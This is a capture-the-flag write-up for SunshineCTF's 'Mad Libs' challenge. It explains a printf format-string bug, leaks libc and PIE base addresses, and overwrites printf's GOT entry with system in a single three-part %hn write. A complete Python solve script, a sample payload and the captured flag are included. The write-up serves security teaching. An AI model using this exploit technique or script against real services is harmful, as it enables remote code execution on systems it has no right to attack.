The plainest format-string bug in the set, with one detail that matters: the GOT entry being overwritten belongs to printf itself, so it has to be written in a single call. Split it across lines and the next printf jumps into a half-written pointer.
Challenge Description
Fill in the blanks! Our Mad Libs game prints back whatever you type. It’s just a simple word game… right?
Provided: mad_libs, libc.so.6, ld-linux-x86-64.so.2.
Initial Analysis
Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabledPartial RELRO is the important one — the GOT is writable. main is a loop of eight:
1211: mov eax,DWORD PTR [rbp-0x114]1217: add eax,0x1121a: mov esi,eax121c: lea rax,[rip+0xe06] ; "(%d) > "1223: mov rdi,rax1226: mov eax,0x0122b: call 10b0 <printf@plt> ; printf("(%d) > ", i+1) -- fine1230: mov rdx,QWORD PTR [rip+0x2e19] ; stdin1237: lea rax,[rbp-0x110]123e: mov esi,0x1001243: mov rdi,rax1246: call 10c0 <fgets@plt> ; fgets(buf, 0x100, stdin)124b: test rax,rax124e: je 12761250: lea rax,[rbp-0x110]1257: mov rdi,rax125a: mov eax,0x0125f: call 10b0 <printf@plt> ; printf(buf) -- the bug1264: add DWORD PTR [rbp-0x114],0x1126b: cmp DWORD PTR [rbp-0x114],0x71272: jle 1211The second printf takes the buffer directly as its format string. Eight iterations means eight separate format strings, which is more than enough.
The Vulnerability
First, find where the buffer lands in the argument list:
$ printf 'AAAAAAAA.%%1$p.%%2$p.%%3$p.%%4$p.%%5$p.%%6$p.%%7$p.%%8$p\n' | ./mad_libs(1) > AAAAAAAA.0x5725985ae2a1.0xfbad2088.0x67a51d5f.0x5725985ae2dc.(nil).0x37f.0x3112d005.0x4141414141414141%8$p is 0x4141414141414141, so the buffer starts at argument 8.
Then sweep further up the stack for something useful:
(4) > (nil) 0x75a6d02044e0 (nil) 0x7ffda9cd9cf0 0xfbc0171874ce6000 0x7ffda9cd9d70 0x75a6d002a1ca (nil) 0x7ffda9cd9df8 0x1a9cd9d10 0x5bc31adb71c9 0x7ffda9cd9df8Two entries are worth taking:
%43$pis0x75a6d002a1ca— a libc return address. Subtracting0x2a1caleaves0x75a6d0000000.%47$pis0x5bc31adb71c9— its low 12 bits are0x1c9, andmainis at offset0x11c9. Subtracting gives the PIE base.
Both come out page-aligned, which is the check that the offsets are right. If either had a non-zero low 12 bits, the guess was wrong.
Exploitation
The target is printf@got at pie + 0x4010, overwritten with system at libc + 0x58740.
The constraint is that this has to happen in one printf call. The loop’s next iteration calls printf("(%d) > ", i+1) before reading another line, so if only two of the three halves are written, that call dereferences a pointer that is half system and half the original — and the process dies before you can send the third.
So all three %hn writes go into a single format string, with the three target addresses placed after it, 8-byte aligned:
def build_write(target, value, maxlen=250): """Three %hn writes in one call; addresses trail the format, 8-aligned.""" halves = sorted(((target + 2 * k, (value >> (16 * k)) & 0xffff) for k in range(3)), key=lambda t: t[1])
def fmt_for(base): idx0, out, written = BUF_ARG + base // 8, b"", 0 for slot, (_addr, want) in enumerate(halves): delta = (want - written) % 0x10000 if delta: out += b"%" + str(delta).encode() + b"c" written = want out += b"%" + str(idx0 + slot).encode() + b"$hn" return out
for base in range(8, 200, 8): fmt = fmt_for(base) if len(fmt) > base: continue payload = fmt.ljust(base, b"_") + b"".join(p64(a) for a, _ in halves) if len(payload) < maxlen and b"\n" not in payload: return payloadThe halves are sorted by value so each %Nc only ever has to advance the character count forwards. The padding search finds the smallest 8-aligned offset where the format text still fits before the address block starts.
A sample payload:
%32767c%13$hn%1857c%14$hn%28805c%15$hn__\x14\x80UUUU\x00\x00\x10\x80UUUU\x00\x00\x12\x80UUUU\x00\x00After that write lands, the loop’s own prompt printf("(%d) > ", i+1) becomes system("(%d) > ") — sh reports a syntax error and carries on — and the next line submitted goes straight to system(buf):
total 12-rw-r----- 1 root mad_libs 27 Sep 26 00:13 flag.txtsun{f1ll_iN_th3_g0T_eNtry}Solve Script
import socket, struct, time, rep64 = lambda x: struct.pack("<Q", x)
BUF_ARG = 8 # %8$ is the first qword of the bufferPRINTF_GOT = 0x4010MAIN_OFF = 0x11c9LIBC_RET_OFF = 0x2a1ca # where %43$p points inside libcSYSTEM_OFF = 0x58740 # Ubuntu GLIBC 2.39-0ubuntu8.3
def exploit(host, port, cmds=(b"ls -la; cat flag*\n",)): s = socket.create_connection((host, port), timeout=10); s.settimeout(6) def drain(t=1.5): out, end = b"", time.time() + t while time.time() < end: try: out += s.recv(65536) except socket.timeout: pass return out
drain(1.0) s.sendall(b"%43$p|%47$p\n") d = drain(1.5) m = re.search(rb"(0x[0-9a-f]+)\|(0x[0-9a-f]+)", d) libc = int(m.group(1), 16) - LIBC_RET_OFF pie = int(m.group(2), 16) - MAIN_OFF print(f"libc base = {libc:#x} pie base = {pie:#x}") assert not (libc & 0xfff or pie & 0xfff), "offsets wrong - bases not page aligned"
# one call, all three halves: a partial GOT write kills the next printf s.sendall(build_write(pie + PRINTF_GOT, libc + SYSTEM_OFF) + b"\n") drain(2.0)
s.sendall(b"/bin/sh\n"); drain(1.0) out = b"" for c in cmds: s.sendall(c); out += drain(1.5) return out
print(exploit("chal.sunshinectf.games", 26001).decode())Flag
sun{f1ll_iN_th3_g0T_eNtry}